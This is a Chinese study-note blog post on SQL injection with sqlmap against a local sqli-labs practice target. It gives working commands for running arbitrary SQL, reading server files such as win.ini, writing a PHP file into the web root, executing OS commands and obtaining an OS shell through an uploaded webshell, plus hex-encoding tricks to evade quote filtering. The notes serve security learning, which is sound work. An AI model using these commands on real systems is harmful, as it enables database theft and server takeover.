首页 > 数据库技术 > 详细

DAY6:SQL注入5

时间:2019-10-07 16:29:16      阅读:82      评论:0      收藏:0      [点我收藏+]
一、深入了解SQLmap
1. SQLmap目录介绍
技术分享图片

 

 

2. SQLmap支持13种数据库(跟之前比,多出了h2数据库)
查看路径:sqlmap\plugins\dbms\
技术分享图片

 

 

3. SQLmap支持6种注入方式
查看路径:sqlmap\data\xml\payloads\
技术分享图片

 

 

4. SQlmap如何测试注入类型
技术分享图片

 

 

5. SQLmap判断网站使用的脚本语言、数据库类型、服务器版本、操作系统版本的文件在路径:sqlmap\data\xml\banner\目录下
技术分享图片

 

 

 
二、利用SQLmap执行SQL语句
1. SQLmap --sql-query参数
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-query="select vsersion()"
 
2. SQLmap --sql-shell参数
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-shell
 
3. SQLmap --sql-file参数
将要执行的语句分行放入1.sql文件中,批量执行
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-file="C:\1.sql"
 
 
三、利用SQLmap操作文件
1. ①读文件,需要满足以下条件(重点条件为1、3条)
添加MySQL的文件权限(大多数网站没有权限):在MySQL的配置文件my.ini中,添加内容secure_file_priv=‘‘。
要读取文件,先判断能不能读文件,选取一个一定存在的文件尝试读取
windows下:C:\windows\win.ini
Linux下:/etc/password
技术分享图片

 

技术分享图片

②读取文件的原理
若网站对单引号过滤了,load_file的路径就用十六进制编码(记得编码完成后前面加上0x),如若读取到PHP代码,由于识别到<?php?>标签,页面就不会显示,查看网页源码可以查看,或者将load_file放在hex函数中,返回十六进制字符串,然后解码(适用于文件包含某些特殊字符时)
技术分享图片
SQLmap读取文件:--file-read参数
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --file-read "C:\wndows\win.ini"
 
2. ①写文件,需要满足以下条件
将内容写入文件时,最好转化为十六进制,防止过滤某些特殊符号,MySQL会自动将十六进制内容转化为明文再写入。
技术分享图片
 
②写入文件的原理
技术分享图片

 

 

SQLmap写入文件:--file-write参数、--file-dest参数(路径名需要用双引号括起来)
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --file-write "C:\123.txt" --file-dest "C:\phpstudy\www\test.php"
 
3. SQLmap --os-cmd参数
执行cmd命令
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --os-cmd="whoami"
 
4. SQLmap --os-shell参数
获取服务器终端,以上传小马的方式接收执行cmd命令的参数,虽然小马文件不可以直接访问,但是可以在浏览器url处直接以参数的形式传递cmd指令:?cmd=ipconfig
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --os-shell
 
 
扩展(SQLmap超详细笔记):
 

DAY6:SQL注入5

原文:https://www.cnblogs.com/niangaoSDS/p/11630613.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!